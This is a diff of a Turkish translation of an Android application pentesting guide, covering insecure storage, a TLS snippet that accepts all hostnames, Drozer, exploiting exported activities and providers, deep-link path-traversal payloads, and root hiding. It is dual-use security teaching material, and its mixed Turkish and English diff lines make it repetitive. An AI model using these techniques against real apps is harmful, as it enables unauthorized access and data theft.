dosyalarda ayarlanan **izinleri doğrulayın**. Özellikle herhangi bir dosyanın **dünya tarafından okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını kontrol edin. Bu, cihazda yüklü herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin verebilir ve ciddi bir güvenlik riski oluşturur. +1. Statik Analiz: +- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının dikkatle incelenmesini **sağlayın**. Bu modlar dosyaların **istemeden ya da yetkisiz biçimde** erişilebilir hale gelmesine yol açabilir. +2. Dinamik Analiz: +- Uygulama tarafından oluşturulan dosyalara verilen izinleri **doğrulayın**. Özellikle, herhangi bir dosyanın **genel okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu ciddi bir güvenlik riski oluşturur; cihazdaki herhangi bir uygulama, kaynağı veya amacı ne olursa olsun, bu dosyaları okuyup değiştirebilir. -**External Storage** +External Storage -SD kart gibi **harici depolama** ile çalışırken bazı önlemler alınmalıdır: +SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken alınması gereken önlemler: -1. **Erişilebilirlik**: -- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir** durumdadır. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. -2. **Güvenlik Endişeleri**: -- Kolay erişim nedeniyle hassas bilgileri harici depolamada saklamamak önerilir. -- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan daha az güvenlidir. -3. **Harici Depolamadan Veri Alma**: -- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verinin güvenilmeyen bir kaynaktan geldiği için kritik önemdedir. -- Harici depolamada yürütülebilir veya sınıf dosyalarını dinamik yükleme amacıyla saklamak şiddetle tavsiye edilmez. -- Uygulamanız harici depolamadan yürütülebilir dosyalar almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +1. Erişilebilirlik: +- Harici depolamadaki dosyalar **global olarak okunabilir ve yazılabilir**. Yani her uygulama veya kullanıcı bu dosyalara erişebilir. +2. Güvenlik Endişeleri: +- Bu nedenle hassas bilgileri harici depolamada saklamamak önerilir. +- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir. +3. Harici Depolamadan Gelen Veriyi İşleme: +- Harici depolamadan alınan verilerde her zaman **girdi doğrulaması** yapın. Çünkü veri güvenilmeyen bir kaynaktan gelmektedir. +- Harici depolamada dinamik yükleme için yürütülebilir veya class dosyaları saklamak şiddetle tavsiye edilmez. +- Eğer uygulamanız harici depolamadan yürütülebilir dosyalar almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın; dinamik olarak yüklemeden önce bu adım güvenlik bütünlüğü için kritiktir. -Harici depolamaya şu yollarla erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard +External storage şu dizinlerden erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard > [!TIP] > Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlar**. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. -**Açık metin olarak saklanan hassas veriler** +Açık metin olarak depolanan hassas veriler -- **Shared preferences**: Android her uygulamanın kolayca xml dosyaları kaydetmesine izin verir; bu dosyalar genellikle `/data/data//shared_prefs/` yolunda bulunur ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir. -- **Databases**: Android her uygulamanın sqlite veri tabanlarını kolayca kaydetmesine izin verir; bu dosyalar genellikle `/data/data//databases/` yolunda bulunur ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir. +- **Shared preferences**: Android her uygulamanın kolayca xml dosyaları kaydetmesine izin verir; yol `/data/data//shared_prefs/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir. +- **Databases**: Android her uygulamanın sqlite veritabanlarını kaydetmesine izin verir; yol `/data/data//databases/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir. -### Broken TLS +### Bozuk TLS -**Accept All Certificates** +Accept All Certificates -Nedeni her ne olursa olsun bazen geliştiriciler, örneğin hostname eşleşmesi olmasa bile tüm sertifikaları kabul ederler; bunu yapan kod satırlarına örnek olarak aşağıdaki gibi bir kullanım verilebilir: +Bazı nedenlerle geliştiriciler bazen tüm sertifikaları kabul ederler; örneğin hostname eşleşmesi olmasa bile aşağıdaki gibi kod satırlarıyla: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -161,25 +160,25 @@ A good way to test this is to try to capture the traffic using some proxy like B ### Broken Cryptography -**Zayıf Anahtar Yönetimi Süreçleri** +**Poor Key Management Processes** -Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kod içinde hardcoded/predictable bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgileri çıkarmasına olanak sağlayabilir. +Bazı geliştiriciler hassas verileri local storage içinde saklayıp, kod içinde hardcoded/öngörülebilir bir anahtar ile encrypt ederler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgiyi çıkarmasına izin verebilir. **Use of Insecure and/or Deprecated Algorithms** -Geliştiriciler yetkilendirme **checks** yapmak, verileri **store** veya **send** etmek için **deprecated algorithms** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** hash'ler kullanılmalıdır. +Geliştiriciler yetkilendirme **checks**, veri **store** veya **send** etmek için **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Eğer örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force'a **karşı dirençli** hashler kullanılmalıdır. -### Diğer kontroller +### Other checks -- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. -- Eğer uygulama hassassa (ör. bank apps), kendi kontrollerini yapmalı; mobil cihazın **rooted** olup olmadığını kontrol etmeli ve buna göre davranmalıdır. -- Eğer uygulama hassassa (ör. bank apps), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir. -- Eğer uygulama hassassa (ör. bank apps), çalıştırmadan önce **check it's own integrity before executing** yaparak değiştirip değiştirilmediğini doğrulamalıdır. -- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +- APK'yi **obfuscate** ederek tersine mühendislik işini saldırganlar için zorlaştırmak önerilir. +- Uygulama hassassa (ör. bankacılık uygulamaları), cihazın **rooted** olup olmadığını **kendi kontrollerini** yapmalı ve buna göre davranmalıdır. +- Uygulama hassassa (ör. bankacılık uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir. +- Uygulama hassassa (ör. bankacılık uygulamaları), **çalıştırmadan önce bütünlüğünü kontrol ederek** değiştirilip değiştirilmediğini doğrulamalıdır. +- APK'nin hangi compiler/packer/obfuscator ile derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın ### React Native Application -Aşağıdaki sayfayı okuyun; React uygulamalarının javascript kodlarına nasıl kolayca erişileceğini öğrenebilirsiniz: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +187,7 @@ react-native-application.md ### Xamarin Applications -Aşağıdaki sayfayı okuyun; bir xamarin uygulamasının C# kodlarına nasıl kolayca erişileceğini öğrenebilirsiniz: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -201,13 +200,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa ### Automated Static Code Analysis -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +Araç [**mariana-trench**](https://github.com/facebook/mariana-trench), uygulamanın **code**unu **scan** ederek **vulnerabilities** bulabilir. Bu araç, **bilinen kaynaklar**ı (kullanıcının **kontrol ettiği** **girdi**lerin bulunduğu **yerleri** araca bildirir), **sinks** (kötü niyetli kullanıcı girdisinin zarar verebileceği **tehlikeli** **yerleri** araca bildirir) ve **kurallar** içerir. Bu kurallar, bir vulnerability'yi gösterecek **sources-sinks** kombinasyonlarını belirtir. -Bu bilgi ile **mariana-trench kodu inceleyip mümkün olan vulnerabilities'leri bulacaktır.** +Bu bilgiyle, **mariana-trench kodu inceleyip üzerinde olası vulnerability'leri bulacaktır**. ### Secrets leaked -Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, parolalar, gizli url'ler, subdomain'ler...) olabilir. Şunu kullanabilirsiniz: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +215,14 @@ Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, paro bypass-biometric-authentication-android.md {{#endref}} -### Diğer ilginç fonksiyonlar +### Other interesting functions -- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage` +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Diğer tricks** +### **Other tricks** {{#ref}} @@ -240,19 +239,19 @@ content-protocol.md ### Online Dynamic analysis -You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +Bir **ücretsiz hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io). Bu platform APK yüklemeye ve **çalıştırmaya** izin vererek bir APK'nın nasıl davrandığını görmek için faydalıdır. -You can even **see the logs of your application** in the web and connect through **adb**. +Web üzerinden uygulamanızın loglarını **görebilir** ve **adb** üzerinden bağlanabilirsiniz. ![](<../../images/image (831).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +ADB bağlantısı sayesinde emülatörlerde **Drozer** ve **Frida** kullanabilirsiniz. ### Local Dynamic Analysis #### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz; ayrıca [**bu** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** versiyonları **ARM kütüphanelerini** yavaş bir arm emülatöre ihtiyaç duymadan desteklemektedir). - Kurulumunu bu sayfada öğrenin: @@ -260,112 +259,110 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) -- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Personal Edition, hesap oluşturmanız gerekir. _Hataları önlemek için **VirtualBox** İLE birlikte olan sürümü **İNDİRMENİZ** önerilir._) +- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemiyor). > [!TIP] -> Yeni bir emulator oluştururken ekran ne kadar büyükse emulator o kadar yavaş çalışır. Mümkünse küçük ekranları seçin. +> Herhangi bir platformda yeni bir emülatör oluştururken ekran ne kadar büyükse emülatörün o kadar yavaş çalışacağını unutmayın. Mümkünse küçük ekranlar seçin. -Genymotion'da google servislerini (ör. AppStore) yüklemek için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir: +Genymotion'da google servislerini (ör. AppStore) **install** etmek için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir: ![](<../../images/image (277).png>) -Ayrıca, **Genymotion içindeki Android VM'in konfigürasyonunda** **Bridge Network mode** seçebileceğinizi unutmayın (bu, araçların bulunduğu farklı bir VM'den Android VM'e bağlanacaksanız faydalı olacaktır). +Ayrıca, **Genymotion içindeki Android VM yapılandırmasında** **Bridge Network mode** seçeneğini seçebileceğinizi unutmayın (bu, Android VM'ine farklı bir VM'den araçlarla bağlanacaksanız faydalı olacaktır). #### Use a physical device -Geliştirici seçeneklerini aktifleştirmeniz gerekir ve cihazı **root** yapmanız iyi olur: +Debug seçeneklerini aktifleştirmeniz gerekiyor ve mümkünse cihazı **root** yapmanız iyi olur: 1. **Settings**. -2. (FromAndroid 8.0) Select **System**. -3. Select **About phone**. -4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. - -> Uygulamayı kurduktan sonra yapmanız gereken ilk şey onu denemek, ne yaptığını ve nasıl çalıştığını araştırmak ve alışmaktır.\ -> İlk dinamik analizi MobSF dynamic analysis + pidcat kullanarak yapmanızı öneririm; böylece MobSF birçok ilginç veriyi **captures** ederken uygulamanın nasıl çalıştığını öğrenebileceksiniz. - -Magisk/Zygisk quick notes (recommended on Pixel devices) -- Patch boot.img with the Magisk app and flash via fastboot to get systemless root -- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required -- Keep original boot.img to recover from OTA updates; re-patch after each OTA -- For screen mirroring, use scrcpy on the host +2. (Android 8.0 ve sonrası) **System** seçin. +3. **About phone** seçin. +4. **Build number** üzerine 7 kez basın. +5. Geri dönün ve **Developer options**'ı bulacaksınız. +> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey onu çalıştırıp ne yaptığını, nasıl çalıştığını incelemek ve uygulamaya alışmaktır.\ +> Bu ilk dinamik analiz için MobSF dynamic analysis + pidcat kullanmanızı öneririm; böylece uygulamanın nasıl çalıştığını öğrenirken MobSF birçok ilginç veriyi yakalar ve sonradan inceleyebilirsiniz. +Magisk/Zygisk kısa notlar (Pixel cihazlarda önerilir) +- Magisk uygulaması ile boot.img'yi patchleyip fastboot ile flashlayarak systemless root elde edin +- Zygisk + DenyList'i etkinleştirin; root gizleme için daha güçlü bir gizleme gerektiğinde LSPosed/Shamiko'yu düşünün +- OTA güncellemelerinden kurtulmak için orijinal boot.img'yi saklayın; her OTA sonrası tekrar patchleyin +- Ekran yansıtma için host üzerinde scrcpy kullanın ### Unintended Data Leakage **Logging** -Geliştiriciler hata ayıklama bilgilerini herkese açık olarak ifşa etme konusunda dikkatli olmalıdır; çünkü bu hassas veri leaks ile sonuçlanabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat** kullanışlılığı ve okunabilirliği nedeniyle tercih edilir. +Geliştiriciler, **debugging bilgilerini** kamuya açmak konusunda dikkatli olmalıdır, çünkü bu hassas veri leak'lerine yol açabilir. Uygulama loglarını izleyerek hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat** kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir. > [!WARNING] -> Android 4.0'dan **later newer than Android 4.0** itibaren **applications are only able to access their own logs**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\ -> Yine de hassas bilgileri loglamamaya dikkat edilmelidir. +> Android 4.0'dan **daha yeni sürümlerde**, **uygulamalar yalnızca kendi loglarına erişebilir**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\ +> Yine de, hassas bilgileri **loglamamak** önerilir. **Copy/Paste Buffer Caching** -Android'in **clipboard-based** çerçevesi uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak diğer uygulamaların clipboard'a erişebilmesi nedeniyle hassas verilerin açığa çıkma riski vardır. Kredi kartı bilgileri gibi hassas bölümler için copy/paste fonksiyonlarını devre dışı bırakmak önemlidir. +Android'in **clipboard-based** framework'ü uygulamalarda kopyala-yapıştır işlevselliğini sağlar, ancak **diğer uygulamalar** panoya erişebildiği için hassas verileri ifşa etme riski taşır. Kredi kartı bilgileri gibi hassas bölümler için kopyala/yapıştır fonksiyonlarını **devre dışı bırakmak** önemlidir. **Crash Logs** -Bir uygulama **crash** yaparsa ve loglar kaydedilirse, bu loglar özellikle uygulama tersine mühendislik yapılamıyorsa saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumlarında loglama yapmaktan kaçının ve logların ağ üzerinden gönderilmesi gerekiyorsa SSL kanalı üzerinden gönderildiğinden emin olun. +Bir uygulama **çöküp** log kaydediyorsa, bu loglar özellikle uygulama tersine mühendislik yapılamıyorsa saldırganlar için yardımcı olabilir. Bu riski azaltmak için, çökme durumunda log kaydetmekten kaçının ve loglar ağ üzerinden gönderilecekse SSL kanalı ile iletildiğinden emin olun. As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Uygulamalar genellikle Google Adsense gibi servisleri entegre eder; geliştiricinin yanlış uygulaması nedeniyle bu servisler istemeden hassas veri leaks oluşturabilir. Olası veri leaks'leri belirlemek için uygulamanın trafiğini intercept edip üçüncü taraflara gönderilen hassas bilgileri kontrol etmek önerilir. +Uygulamalar sıklıkla Google Adsense gibi hizmetleri entegre eder; geliştiricinin yanlış uygulaması nedeniyle hassas veriler istemeden üçüncü taraflara **sızdırılabilir**. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept edip üçüncü taraf hizmetlere herhangi bir hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir. ### SQLite DBs -Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanacaktır. Pentest sırasında oluşturulan veritabanlarına, tablo isimlerine, sütunlara ve kaydedilen tüm verilere bakın; çünkü hassas bilgiler (bir zafiyet olacak şekilde) bulabilirsiniz.\ -Veritabanları genellikle `/data/data/the.package.name/databases` altında bulunur, örneğin `/data/data/com.mwr.example.sieve/databases` +Çoğu uygulama bilgileri kaydetmek için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseleri**, **tabloların** ve **sütunların** isimlerini ve kaydedilen tüm **verileri** inceleyin; çünkü burada **hassas bilgiler** (vulnerability) bulunabilir.\ +Databaseler genelde `/data/data/the.package.name/databases` içinde yer alır, örn `/data/data/com.mwr.example.sieve/databases` -Eğer veritabanı gizli bilgi saklıyorsa ve **encrypted** ise fakat uygulama içinde **password**'u bulabiliyorsanız, bu hâlâ bir **vulnerability**'dir. +Eğer veritabanı gizli bilgileri şifreliyorsa ve şifre uygulama içinde bulunuyorsa bu yine bir **vulnerability**'dir. -Tabloları listelemek için `.tables` kullanın ve tablonun sütunlarını görmek için `.schema ` çalıştırın. +Tabloları `.tables` ile sırala ve tabloların sütunlarını `.schema ` ile listele. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenize ve diğer uygulamalarla etkileşime girmenize izin verir. Yüklü bir uygulamanın yapabileceği **her şeyi** yapabilir; Android’in Inter-Process Communication (IPC) mekanizmasını kullanmak ve alt işletim sistemi ile etkileşim kurmak gibi. .\ +Drozer, export edilmiş activities, exported services ve Content Providers'ı **exploit etmek** için faydalı bir araçtır; bunu sonraki bölümlerde öğreneceksiniz. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ayrıca bir activity'nin kodunun **`onCreate`** metodunda başladığını unutmayın. +Ayrıca bir activity kodunun **`onCreate`** metodunda başladığını unutmayın. **Authorisation bypass** -Eğer bir Activity **exported** ise, ekranını dışarıdan bir uygulamadan çağırabilirsiniz. Bu nedenle, eğer hassas bilgi içeren bir activity exported ise, erişmek için authentication mekanizmalarını bypass edebilirsiniz. +Bir Activity export edilmişse, dış bir uygulamadan ekranı çağırabilirsiniz. Bu nedenle, içinde **hassas bilgi** bulunan bir activity **exported** ise, **authentication** mekanizmalarını **bypass** ederek ona erişebilirsiniz. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Ayrıca adb'den bir exported activity başlatabilirsiniz: +Ayrıca adb'den export edilmiş bir activity başlatabilirsiniz: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü amaçlı olarak tespit edecektir, ancak due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir. > [!TIP] -> Bu durumda, bir authorisation bypass her zaman bir zafiyet değildir; bypass'ın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. +> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. **Hassas bilgi sızıntısı** -Activities ayrıca sonuç döndürebilir. Eğer export edilmiş ve korunmasız bir activity bulur, **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** görürseniz, bir hassas bilgi sızıntısı vardır. +**Activity'ler ayrıca sonuç döndürebilir**. Eğer dışa açılmış (exported) ve korunmasız bir activity bulup **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** tespit ederseniz, hassas bilgi sızıntısı vardır. #### Tapjacking -Eğer Tapjacking engellenmemişse, export edilmiş activity'yi kötüye kullanarak **kullanıcının beklenmedik işlemler yapmasını** sağlayabilirsiniz. Tapjacking hakkında daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking). +Eğer tapjacking önlenmemişse, exported activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler yapmasını** sağlayabilirsiniz. Daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers temelde **veri paylaşımı** için kullanılır. Bir uygulamanın erişilebilir content provider'ları varsa, bunlardan **hassas** verileri çıkarabiliyor olabilirsiniz. Ayrıca muhtemel **SQL injections** ve **Path Traversals**'ı test etmek ilginçtir çünkü bunlar zafiyete açık olabilir. +Content providers temel olarak **veri paylaşmak** için kullanılır. Eğer bir uygulamanın erişilebilir content provider'ları varsa, bunlardan **hassas** verileri çıkartabiliyor olabilirsiniz. Olası **SQL injections** ve **Path Traversals**'ı da test etmek ilginçtir çünkü bunlar zafiyetli olabilir. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) @@ -374,7 +371,7 @@ Content providers temelde **veri paylaşımı** için kullanılır. Bir uygulama [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ Unutmayın ki bir Service'in işlemleri `onStartCommand` metodunda başlar. -Service temelde **veri alabilen**, **işleyebilen** ve **(isterse) bir cevap döndürebilen** bir yapıdır. Eğer bir uygulama bazı servisleri export ediyorsa, ne yaptığını anlamak için **kodu** incelemeli ve gizli bilgileri çıkarmak, yetkilendirme önlemlerini aşmak vb. için dinamik olarak **test** etmelisiniz.\ +Service temelde **veri alabilen**, **işleyebilen** ve (veya) bir cevap **döndürebilen** bir bileşendir. Bu yüzden, bir uygulama bazı servisleri export ediyorsa ne yaptığını anlamak için **kodu** incelemeli ve gizli bilgileri çıkarmak, authentication önlemlerini bypass etmek gibi amaçlarla **dinamik** olarak test etmelisiniz.\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** @@ -382,74 +379,74 @@ Service temelde **veri alabilen**, **işleyebilen** ve **(isterse) bir cevap dö [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Unutmayın ki bir Broadcast Receiver'ın işlemleri `onReceive` metodunda başlar. -Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlemesine bağlı olarak zafiyet ortaya çıkabilir.\ +Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyetli olabilir.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Deep link'leri elle arayabilirsiniz; MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'ler kullanabilirsiniz.\ -Deklar edilmiş bir **scheme**'i **adb** veya bir **browser** ile **açabilirsiniz**: +Deep link'leri elle, MobSF gibi araçları veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'leri kullanarak arayabilirsiniz.\ +Declare edilmiş bir **scheme**'i **adb** veya bir **browser** kullanarak açabilirsiniz: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Paket adını **omit the package name** bırakabileceğinizi unutmayın; mobil cihaz o linki açması gereken app'i otomatik olarak çağıracaktır._ +_Unutmayın: **paket adını atlayabilirsiniz** ve mobil cihaz bu bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._ ```html Click me with alternative ``` -**Code executed** +**Çalıştırılan kod** -Uygulamada çalıştırılacak **kodu bulmak için**, deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın. +Uygulamada **çalıştırılacak kodu** bulmak için deeplink tarafından çağrılan activity'e gidin ve **`onNewIntent`** fonksiyonunu arayın. ![](<../../images/image (436) (1) (1) (1).png>) -**Sensitive info** +**Hassas bilgi** -Her deeplink bulduğunuzda, **URL parametreleri aracılığıyla hassas veri (ör. şifreler) almadığından emin olun**, çünkü başka herhangi bir uygulama **deeplink'i taklit edip bu verileri çalabilir!** +Her deep link bulduğunuzda, i**URL parametreleriyle hassas veri (like passwords) almıyor** olduğundan emin olun, çünkü başka herhangi bir uygulama **deep link'i taklit edip bu verileri çalabilir!** -**Parameters in path** +**Path içindeki parametreler** -Ayrıca **herhangi bir deeplink'in URL yolunun içinde parametre kullanıp kullanmadığını** kontrol etmelisiniz; örneğin: `https://api.example.com/v1/users/{username}` . Bu durumda path traversal zorlayarak şu gibi bir erişim yapabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Doğru endpointleri uygulama içinde bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa **Open Redirect**, CSRF token olmadan kullanıcı bilgilerini değiştirip doğru HTTP metodunu kullanabiliyorsanız **account takeover** ve başka zafiyetlere yol açabilirsiniz. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Uygulama içinde doğru endpoint'leri bulursanız, bir **Open Redirect** (eğer path'in bir kısmı domain adı olarak kullanılıyorsa), **account takeover** (kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve the vuln endpoint doğru method'u kullandıysa) ve diğer zafiyetlere yol açabilirsiniz. Daha fazla bilgi için [bu kaynağa bakın](http://dphoeniixx.com/2020/12/13-2/). **More examples** An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -### Transport Layer Inspection and Verification Failures +### Taşıma Katmanı İnceleme ve Doğrulama Hataları -- **Certificates are not always inspected properly** by Android applications. Bu uygulamaların uyarıları göz ardı edip self-signed sertifikaları kabul etmesi ya da bazı durumlarda HTTP'ye geri dönmesi yaygındır. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, zayıf cipher suite'lerin kullanılması görülebilir. Bu zafiyet, bağlantıyı man-in-the-middle (MITM) saldırılarına açık hale getirir ve saldırganların veriyi deşifre etmesine izin verir. -- **Leakage of private information** uygulamalar güvenli kanallarla kimlik doğrulaması yapıp diğer işlemler için daha sonra güvenli olmayan kanallar üzerinden iletişim kurduğunda risk oluşur. Bu yöntem, oturum çerezleri veya kullanıcı bilgileri gibi hassas verilerin kötü niyetli kişilerce ele geçirilmesini önlemez. +- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. +- 